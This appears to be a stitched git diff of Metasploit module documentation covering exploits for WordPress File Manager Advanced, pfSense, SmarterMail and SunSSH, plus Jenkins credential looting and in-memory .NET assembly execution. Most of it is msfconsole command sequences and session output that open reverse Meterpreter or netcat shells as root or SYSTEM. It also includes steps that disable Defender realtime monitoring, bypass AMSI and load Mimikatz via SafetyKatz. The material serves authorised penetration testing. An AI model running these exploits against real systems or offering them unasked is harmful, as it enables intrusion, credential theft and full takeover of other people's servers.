msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. fmakey successfully retrieved: 5a669fda54
|
||||
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp
|
||||
[*] Using URL: http://192.168.201.10:1981/manX3C
|
||||
[*] Client 192.168.201.10 (Wget/1.21.3) requested /manX3C
|
||||
[*] Sending payload to 192.168.201.10 (Wget/1.21.3)
|
||||
[+] Deleted nypafHKuf.php
|
||||
[*] Meterpreter session 6 opened (192.168.201.10:4444 -> 192.168.201.10:38108) at 2023-06-28 15:36:11 +0000
|
||||
[*] Command Stager progress - 100.00% done (113/113 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.10
|
||||
OS : Debian (Linux 5.15.44-Re4son-v8l+)
|
||||
Architecture : aarch64
|
||||
BuildTuple : aarch64-linux-musl
|
||||
Meterpreter : aarch64/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter >
|
||||
```
|
||||
### Windows Server 2019 Windows Command - cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
```
|
||||
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. fmakey successfully retrieved: 2a1a319c46
|
||||
[*] Executing Windows Command for cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
[*] Sending stage (200774 bytes) to 192.168.201.55
|
||||
[+] Deleted HAJSKquhaDT.php
|
||||
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.55:50464) at 2023-06-28 14:21:39 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BJDNH44EEDB
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
### Windows Server 2019 Windows Dropper - windows/x64/meterpreter/reverse_tcp
|
||||
```
|
||||
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. fmakey successfully retrieved: 2a1a319c46
|
||||
[*] Executing Windows Dropper for windows/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.201.10:1981/yRZ6hM
|
||||
[*] Client 192.168.201.55 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1) requested /yRZ6hM
|
||||
[*] Sending payload to 192.168.201.55 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1)
|
||||
[*] Sending stage (200774 bytes) to 192.168.201.55
|
||||
[+] Deleted hjAQqbEFAt.php
|
||||
[*] Meterpreter session 4 opened (192.168.201.10:4444 -> 192.168.201.55:50519) at 2023-06-28 14:26:02 +0000
|
||||
[*] Command Stager progress - 100.00% done (146/146 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BJDNH44EEDB
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
This module exploits a stack-based buffer overflow in the Solaris PAM
|
||||
library's username parsing code, as used by the SunSSH daemon when the
|
||||
keyboard-interactive authentication method is specified.
|
||||
`keyboard-interactive` authentication method is specified.
|
||||
|
||||
Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,
|
||||
VMware Fusion, and VMware Player. Bare metal untested. Your addresses
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an authenticated command injection vulnerabilty in the `restore_rrddata()` function of
|
||||
pfSense prior to 2.7.0 which allows an authenticated attacker with the `WebCfg - Diagnostics: Backup & Restore` privilege
|
||||
to execute arbitrary operating system commands as the `root` user.
|
||||
|
||||
This module has been tested successfully on version 2.6.0-RELEASE.
|
||||
|
||||
### Installing the Application
|
||||
Download the ISO from [pfSense 2.6.0-RELEASE](https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz)
|
||||
and then create a VMWare or VirtualBox VM using this ISO.
|
||||
|
||||
Note that you may wish to use the BIOS boot method when prompted for which method to use for installation,
|
||||
rather than ZFS or UEFI for testing purposes, just to simplify setup. Otherwise you can accept the default settings.
|
||||
|
||||
Once installation is finished you should be prompted to reboot. Reboot, then enter `n` when asked if you want to set up VLANs.
|
||||
|
||||
For the WAN prompt enter `em0` which should work, or whatever one other than `a` that appears in the prompt and hit ENTER.
|
||||
|
||||
Wait for setup to complete then try to browse to `http://<IP ADDRESS SHOWN HERE>/` replacing the
|
||||
placeholder with the IP address shown in the prompt. You should see the login page for pfSense.
|
||||
|
||||
Log in with username `admin` and password `pfsense`. There should be a setup GUI that appears. Accept all the defaults
|
||||
and keep clicking `Next` at each of the steps and then `Finish` at the final step. Finally click `Accept` on the export
|
||||
warning page and `Close` on the following popup. You should now see the main dashboard and should be ready to test the
|
||||
module.
|
||||
|
||||
## Verification Steps
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/unix/http/pfsense_config_data_exec`
|
||||
3. Do: `set RHOST [IP]`
|
||||
4. Do: `set USERNAME [username]`
|
||||
5. Do: `set PASSWORD [password]`
|
||||
6. Do: `set LHOST [IP]`
|
||||
7. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### pfSense Community Edition 2.6.0-RELEASE
|
||||
|
||||
```
|
||||
msf6 exploit(unix/http/pfsense_config_data_exec) > use exploit/unix/http/pfsense_config_data_exec
|
||||
[*] Using configured payload cmd/unix/reverse_netcat
|
||||
msf6 exploit(unix/http/pfsense_config_data_exec) > set RHOST 1.1.1.1
|
||||
RHOST => 1.1.1.1
|
||||
msf6 exploit(unix/http/pfsense_config_data_exec) > set LHOST 2.2.2.2
|
||||
LHOST => 2.2.2.2
|
||||
msf6 exploit(unix/http/pfsense_config_data_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] pfSense version: 2.6.0-RELEASE
|
||||
[+] The target is vulnerable.
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:21942) at 2023-03-26 02:10:48 +0300
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(wheel) groups=0(wheel)
|
||||
whoami
|
||||
root
|
||||
```
|
||||
@@ -0,0 +1,317 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* SmarterTools SmarterMail Version <= 16.3.6989.16341 (all legacy versions without a build number)
|
||||
* SmarterTools SmarterMail Build < 6985
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a vulnerability in the SmarterTools SmarterMail software for version numbers <= 16.x or for build numbers < 6985. The vulnerable versions and builds expose three .NET remoting endpoints on port 17001, namely `/Servers`, `/Mail` and `/Spool`. For example, a typical installation of SmarterMail Build 6970 will have the `/Servers` endpoint exposed to the public at `tcp://0.0.0.0:17001/Servers`, where serialized .NET commands can be sent through a TCP socket connection.
|
||||
|
||||
The three endpoints perform deserialization of untrusted data (CVE-2019-7214), allowing an attacker to send arbitrary commands to be deserialized and executed. This module exploits this vulnerability to perform .NET deserialization attacks, allowing remote code execution for any unauthenticated user under the context of the SYSTEM account. Successful exploitation results in full administrative control of the target server under the `NT AUTHORITY\SYSTEM` account.
|
||||
|
||||
This vulnerability was patched in Build 6985, where the 17001 port is no longer publicly accessible, although it can be accessible locally at `127.0.0.1:17001`. Hence, this would still allow for a privilege escalation vector if the server is compromised as a low-privileged user.
|
||||
|
||||
### Setup
|
||||
|
||||
This module was tested on SmarterMail Build 6919, 6970 (with positive results), Build 6985 (with negative results), and on Version 16.3.6989 (with positive results).
|
||||
|
||||
Legacy builds and versions of SmarterMail can be obtained by signing up to the SmarterTools website to create a user account, and then navigating to the [Legacy Builds](https://www.smartertools.com/account#/downloads) page, where `EXE` and `MSI` files can be downloaded.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Sign up to the [SmarterTools website](https://www.smartertools.com/). Log in with your created account.
|
||||
2. Download `EXE` legacy versions and builds from a dropdown menu at [Legacy Builds](https://www.smartertools.com/account#/downloads), specifically SmarterMail 16.x, Build 6970 and Build 6985.
|
||||
3. Install the executable file (e.g. `SmarterMail_6970.exe`) and follow the instructions provided. If reinstalling a different version/build, simply choose `Use an existing site` when prompted in `Site Configuration Type`, and select `SmarterMail` in the next option.
|
||||
4. Verify that the login page can be accessed at `http://localhost:9998/interface/root#/login`. Set Admin username and password to be `admin:admin` (or anything arbitrary) if prompted.
|
||||
5. Disable realtime protection on an Administrative PowerShell session with `Set-MpPreference -DisableRealtimeMonitoring $true`.
|
||||
6. Start `msfconsole` and follow along with default options.
|
||||
7. Do: `use exploit/windows/http/smartermail_rce`
|
||||
8. Do: `set RHOSTS [SMARTERMAIL_SERVER_IP]`
|
||||
9. Do: `set LHOST eth0`
|
||||
10. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### TARGET (Required)
|
||||
|
||||
0. Target 0 (default) - Windows Command uses a default PowerShell payload to execute
|
||||
code and open a Meterpreter session. However, any desired payload can be chosen. Choose with `set TARGET 0`.
|
||||
1. Target 1 - x86/x64 Windows CmdStager uses a CmdStager with default `vbs` stager flavor to execute code and open a Meterpreter session. Choose with `set TARGET 1`.
|
||||
|
||||
### ENDPOINT (Required)
|
||||
|
||||
Choose one of three exposed .NET remoting endpoints, either `Servers`, `Spool` or `Mail`. The default is `Servers`, but any one of the three will do.
|
||||
|
||||
### RPORT (Required)
|
||||
|
||||
This is the port for the SmarterMail HTTP server, which is default on port 9998. Although this port is not required for exploitation, it is required for checking the vulnerability and version/build number of the SmarterMail software.
|
||||
|
||||
### TARGETURI (Required)
|
||||
|
||||
This is the base path of the SmarterMail HTTP server. The vulnerability check follows the redirect from base path `/` to the login page at `/interface/root#/login`, but this option is provided in case the login page is located at a different URI.
|
||||
|
||||
### TCP_PORT (Required)
|
||||
|
||||
This is the TCP port where the .NET remoting endpoints are located, and is required for sending serialized data and Meterpreter payloads. The default port is 17001.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SmarterMail Build 6970 on Windows 10 Pro
|
||||
|
||||
* Using default TARGET 0 - Windows Command
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/smartermail_rce
|
||||
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
|
||||
RHOSTS => 192.168.29.1
|
||||
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
|
||||
LHOST => 192.168.245.128
|
||||
msf6 exploit(windows/http/smartermail_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response...
|
||||
[+] Target is running SmarterMail.
|
||||
[*] Checking SmarterMail product build...
|
||||
[+] Target is running SmarterMail Build 6970.
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Sending stage (175686 bytes) to 192.168.245.1
|
||||
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:51164) at 2023-07-07 03:30:47 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-50BU5J8
|
||||
OS : Windows 10 (10.0 Build 19045).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
* Using TARGET 1 - x86/x64 Windows CmdStager:
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/smartermail_rce
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/smartermail_rce) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
|
||||
RHOSTS => 192.168.29.1
|
||||
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf6 exploit(windows/http/smartermail_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response...
|
||||
[+] Target is running SmarterMail.
|
||||
[*] Checking SmarterMail product build...
|
||||
[+] Target is running SmarterMail Build 6970.
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
|
||||
[*] Command Stager progress - 4.02% done (4092/101881 bytes)
|
||||
[*] Command Stager progress - 6.02% done (6138/101881 bytes)
|
||||
[*] Command Stager progress - 8.03% done (8184/101881 bytes)
|
||||
[*] Command Stager progress - 10.04% done (10230/101881 bytes)
|
||||
[*] Command Stager progress - 12.05% done (12276/101881 bytes)
|
||||
[*] Command Stager progress - 14.06% done (14322/101881 bytes)
|
||||
[*] Command Stager progress - 16.07% done (16368/101881 bytes)
|
||||
[*] Command Stager progress - 18.07% done (18414/101881 bytes)
|
||||
[*] Command Stager progress - 20.08% done (20460/101881 bytes)
|
||||
[*] Command Stager progress - 22.09% done (22506/101881 bytes)
|
||||
[*] Command Stager progress - 24.10% done (24552/101881 bytes)
|
||||
[*] Command Stager progress - 26.11% done (26598/101881 bytes)
|
||||
[*] Command Stager progress - 28.12% done (28644/101881 bytes)
|
||||
[*] Command Stager progress - 30.12% done (30690/101881 bytes)
|
||||
[*] Command Stager progress - 32.13% done (32736/101881 bytes)
|
||||
[*] Command Stager progress - 34.14% done (34782/101881 bytes)
|
||||
[*] Command Stager progress - 36.15% done (36828/101881 bytes)
|
||||
[*] Command Stager progress - 38.16% done (38874/101881 bytes)
|
||||
[*] Command Stager progress - 40.16% done (40920/101881 bytes)
|
||||
[*] Command Stager progress - 42.17% done (42966/101881 bytes)
|
||||
[*] Command Stager progress - 44.18% done (45012/101881 bytes)
|
||||
[*] Command Stager progress - 46.19% done (47058/101881 bytes)
|
||||
[*] Command Stager progress - 48.20% done (49104/101881 bytes)
|
||||
[*] Command Stager progress - 50.21% done (51150/101881 bytes)
|
||||
[*] Command Stager progress - 52.21% done (53196/101881 bytes)
|
||||
[*] Command Stager progress - 54.22% done (55242/101881 bytes)
|
||||
[*] Command Stager progress - 56.23% done (57288/101881 bytes)
|
||||
[*] Command Stager progress - 58.24% done (59334/101881 bytes)
|
||||
[*] Command Stager progress - 60.25% done (61380/101881 bytes)
|
||||
[*] Command Stager progress - 62.25% done (63426/101881 bytes)
|
||||
[*] Command Stager progress - 64.26% done (65472/101881 bytes)
|
||||
[*] Command Stager progress - 66.27% done (67518/101881 bytes)
|
||||
[*] Command Stager progress - 68.28% done (69564/101881 bytes)
|
||||
[*] Command Stager progress - 70.29% done (71610/101881 bytes)
|
||||
[*] Command Stager progress - 72.30% done (73656/101881 bytes)
|
||||
[*] Command Stager progress - 74.30% done (75702/101881 bytes)
|
||||
[*] Command Stager progress - 76.31% done (77748/101881 bytes)
|
||||
[*] Command Stager progress - 78.32% done (79794/101881 bytes)
|
||||
[*] Command Stager progress - 80.33% done (81840/101881 bytes)
|
||||
[*] Command Stager progress - 82.34% done (83886/101881 bytes)
|
||||
[*] Command Stager progress - 84.35% done (85932/101881 bytes)
|
||||
[*] Command Stager progress - 86.35% done (87978/101881 bytes)
|
||||
[*] Command Stager progress - 88.36% done (90024/101881 bytes)
|
||||
[*] Command Stager progress - 90.37% done (92070/101881 bytes)
|
||||
[*] Command Stager progress - 92.38% done (94116/101881 bytes)
|
||||
[*] Command Stager progress - 94.39% done (96162/101881 bytes)
|
||||
[*] Command Stager progress - 96.39% done (98208/101881 bytes)
|
||||
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
|
||||
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
|
||||
[*] Sending stage (175686 bytes) to 192.168.245.1
|
||||
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:55099) at 2023-07-06 05:43:26 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-50BU5J8
|
||||
OS : Windows 10 (10.0 Build 19045).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### SmarterMail Version 16.3.6989 on Windows 10 Pro
|
||||
|
||||
* Using ENDPOINT `Mail`:
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/smartermail_rce
|
||||
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/smartermail_rce) > set ENDPOINT Mail
|
||||
ENDPOINT => Mail
|
||||
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
|
||||
RHOSTS => 192.168.29.1
|
||||
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf6 exploit(windows/http/smartermail_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response...
|
||||
[+] Target is running SmarterMail.
|
||||
[*] Checking SmarterMail product build...
|
||||
[!] Product build not found. 16.x versions and below do not have a build number.
|
||||
[*] Checking SmarterMail product version...
|
||||
[+] Target is running SmarterMail Version 16.3.6989.
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Sending stage (175686 bytes) to 192.168.245.1
|
||||
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:55147) at 2023-07-06 06:20:19 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-50BU5J8
|
||||
OS : Windows 10 (10.0 Build 19045).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### SmarterMail Build 6985 on Windows 10 Pro
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/smartermail_rce
|
||||
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
|
||||
RHOSTS => 192.168.29.1
|
||||
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf6 exploit(windows/http/smartermail_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response...
|
||||
[+] Target is running SmarterMail.
|
||||
[*] Checking SmarterMail product build...
|
||||
[+] Target is running SmarterMail Build 6985.
|
||||
[*] Checking SmarterMail product version...
|
||||
[+] Target is running SmarterMail Version 100.0.6985.
|
||||
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(windows/http/smartermail_rce) > set ForceExploit true
|
||||
ForceExploit => true
|
||||
msf6 exploit(windows/http/smartermail_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response...
|
||||
[+] Target is running SmarterMail.
|
||||
[*] Checking SmarterMail product build...
|
||||
[+] Target is running SmarterMail Build 6985.
|
||||
[*] Checking SmarterMail product version...
|
||||
[+] Target is running SmarterMail Version 100.0.6985.
|
||||
[!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(windows/http/smartermail_rce) >
|
||||
```
|
||||
|
||||
### SmarterMail Build 6919 on Windows 10 Pro (Algernon from Proving Grounds Practice)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/smartermail_rce
|
||||
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.247.65
|
||||
RHOSTS => 192.168.247.65
|
||||
msf6 exploit(windows/http/smartermail_rce) > set LHOST tun0
|
||||
LHOST => tun0
|
||||
msf6 exploit(windows/http/smartermail_rce) > check
|
||||
|
||||
[*] Checking target web server for a response...
|
||||
[+] Target is running SmarterMail.
|
||||
[*] Checking SmarterMail product build...
|
||||
[+] Target is running SmarterMail Build 6919.
|
||||
[*] 192.168.247.65:9998 - The target appears to be vulnerable.
|
||||
msf6 exploit(windows/http/smartermail_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.45.188:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response...
|
||||
[+] Target is running SmarterMail.
|
||||
[*] Checking SmarterMail product build...
|
||||
[+] Target is running SmarterMail Build 6919.
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Sending stage (175686 bytes) to 192.168.247.65
|
||||
[*] Meterpreter session 1 opened (192.168.45.188:4444 -> 192.168.247.65:49710) at 2023-07-06 07:24:13 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : ALGERNON
|
||||
OS : Windows 10 (10.0 Build 18363).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 3
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > shell
|
||||
Process 4240 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 10.0.18363.815]
|
||||
(c) 2019 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Windows\system32>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
|
||||
C:\Windows\system32>cd C:\Users\Administrator\Desktop
|
||||
cd C:\Users\Administrator\Desktop
|
||||
|
||||
C:\Users\Administrator\Desktop>type proof.txt
|
||||
type proof.txt
|
||||
84b4****************************
|
||||
|
||||
C:\Users\Administrator\Desktop>
|
||||
```
|
||||
@@ -8,6 +8,14 @@ This module has been verified against:
|
||||
1. Jenkins 2.67 on Ubuntu 16.04 in Docker
|
||||
1. Jenkins 2.67 on Windows 7 SP 1
|
||||
1. Jenkins 2.60.1
|
||||
1. Jenkins 2.411 Docker image
|
||||
1. Jenkins 2.410 Windows 10
|
||||
1. Jenkins 2.410 Docker image
|
||||
1. Jenkins 2.409 Docker image
|
||||
1. Jenkins 2.401.1 Docker image
|
||||
1. Jenkins 2.346.3 Docker image
|
||||
1. Jenkins 2.103 Docker image
|
||||
1. Jenkins 1.565 Docker image
|
||||
1. Jenkins 1.56
|
||||
|
||||
## Verification Steps
|
||||
@@ -45,6 +53,10 @@ keywords but obviously increases runtime on larger instances.
|
||||
This option saves interesting files and loot to disk. If set to
|
||||
false will simply output data to console.
|
||||
|
||||
**JENKINS_HOME**
|
||||
This option can be set if we want to specify where the Jenkins
|
||||
data resides.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Jenkins on Windows**
|
||||
@@ -76,6 +88,7 @@ Provided by:
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
JENKINS_HOME no Set to the home directory of Jenkins. Linux versions default to /var/lib/jenkins, but C:\ProgramData\Jenkins\.jenkins on Windows.
|
||||
SEARCH_JOBS true no Search through job history logs for interesting keywords. Increases runtime.
|
||||
SESSION 17 yes The session to run this module on.
|
||||
STORE_LOOT true no Store files in loot (will simply output file to console if set to false).
|
||||
|
||||
@@ -2,14 +2,16 @@
|
||||
|
||||
This module executes a .NET Assembly from a Meterpreter session
|
||||
|
||||
It spawns a process (or uses an existing process if provided a pid) and
|
||||
uses Reflective dll injection to load HostingCLRx64.dll needed to run
|
||||
.Net assembly. The unmanaged injected dll takes care of verifying if the
|
||||
process has already loaded the clr, and loads it if necessary. The
|
||||
It uses Reflective DLL injection to load HostingCLRx64.dll needed to run
|
||||
.NET assembly. This can be done either within the meterpreter session, or
|
||||
by injecting into a new or existing process.
|
||||
|
||||
The unmanaged injected DLL takes care of verifying if the
|
||||
process has already loaded the CLR, and loads it if necessary. The
|
||||
version of the CLR to be loaded is determined by parsing of the assembly
|
||||
provided and searching for a known signature. Then it runs the assembly
|
||||
from memory.
|
||||
Before loading the assembly in the context of the clr, Amsi is bypassed
|
||||
Before loading the assembly in the context of the CLR, AMSI is bypassed
|
||||
using the AmsiScanBuffer patching technique.
|
||||
(https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-1/)
|
||||
|
||||
@@ -17,17 +19,18 @@ You'll find details at [Execute assembly via Meterpreter session](https://b4rtik
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example 1 no PID specified:
|
||||
### Example 1: Run within the same process
|
||||
|
||||
1. Start Clone from github SeatBelt or other .Net progect
|
||||
2. Buid project with target framework 4.x or 3.5
|
||||
2. Start msfconsole
|
||||
4. Do: ```use post/windows/manage/execute_dotnet_assembly```
|
||||
5. Do: ```set SESSION sessionid```
|
||||
6. Do: ```set DOTNET_EXE /your/output/folder/file.exe```
|
||||
7. Do: ```set ARGUMENTS user```
|
||||
8. Do: ```run```
|
||||
9. You should get something like that follow
|
||||
1. Build or download a .NET project
|
||||
1. Buid project with target framework that is present on the host
|
||||
1. Start msfconsole
|
||||
1. Do: ```use post/windows/manage/execute_dotnet_assembly```
|
||||
1. Do: ```set SESSION sessionid```
|
||||
1. Do: ```set TECHNIQUE SELF``` (to run within our own process)
|
||||
1. Do: ```set DOTNET_EXE /your/output/folder/SeatBelt.exe```
|
||||
1. Do: ```set ARGUMENTS user```
|
||||
1. Do: ```run```
|
||||
1. The assembly should run.
|
||||
|
||||
```
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) > run
|
||||
@@ -71,184 +74,81 @@ msf5 post(windows/manage/execute_dotnet_assembly) > run
|
||||
[+] Killing process 10628
|
||||
[+] Execution finished.
|
||||
[*] Post module execution completed
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) >
|
||||
```
|
||||
|
||||
Example 2 PID specified:
|
||||
## Example 2: Run in existing process
|
||||
|
||||
1. Start Clone from github SeatBelt or other .Net progect
|
||||
2. Buid project with target framework 4.x or 3.5
|
||||
2. Start msfconsole
|
||||
4. Do: ```use post/windows/manage/execute_dotnet_assembly```
|
||||
5. Do: ```set SESSION sessionid```
|
||||
6. Do: ```set PID 8648```
|
||||
7. Do: ```set ASSEMBLYPATH /your/output/folder/SeatBelt.exe```
|
||||
8. Do: ```set ARGUMENTS user```
|
||||
9. Do: ```run```
|
||||
10. You should get something like that follow
|
||||
1. Build or download a .NET project
|
||||
1. Buid project with target framework that is present on the host
|
||||
1. Start msfconsole
|
||||
1. Do: ```use post/windows/manage/execute_dotnet_assembly```
|
||||
1. Do: ```set SESSION sessionid```
|
||||
1. Do: ```set TECHNIQUE INJECT``` (to run within an existing process)
|
||||
1. Do: ```set PID 8648```
|
||||
1. Do: ```set DOTNET_EXE /your/output/folder/SeatBelt.exe```
|
||||
1. Do: ```set ARGUMENTS user```
|
||||
1. Do: ```run```
|
||||
1. The assembly should inject into process 8648.
|
||||
|
||||
```
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) > run
|
||||
## Example 3: Run in new process
|
||||
|
||||
[*] Warning: output unavailable
|
||||
[*] Hooking 8648 to host CLR...
|
||||
[+] Process 8648 hooked.
|
||||
[*] Reflectively injecting the Host DLL into 8648..
|
||||
[*] Injecting Host into 8648...
|
||||
[*] Host injected. Copy assembly into 8648...
|
||||
[*] Assembly copied.
|
||||
[*] Executing...
|
||||
[+] Execution finished.
|
||||
[*] Post module execution completed
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) >
|
||||
```
|
||||
|
||||
Example 3 perform the functionality test of the Amsi bypass.
|
||||
To perform the test it is necessary to use an assembly that runs
|
||||
Assembly.Load to load an assembly that we know to be detected.
|
||||
In the following example we use SafetyKatz which dynamically
|
||||
loads Mimikatz via Assmbly.Load
|
||||
|
||||
1. Start Clone from github SafetyKatz or other .Net progect
|
||||
2. Buid project with target framework 4.x
|
||||
2. Start msfconsole
|
||||
4. Do: ```use post/windows/manage/execute_dotnet_assembly```
|
||||
5. Do: ```set SESSION sessionid```
|
||||
6. Do: ```set PID 8648```
|
||||
7. Do: ```set DOTNET_EXE /your/output/folder/SafetyKatz.exe```
|
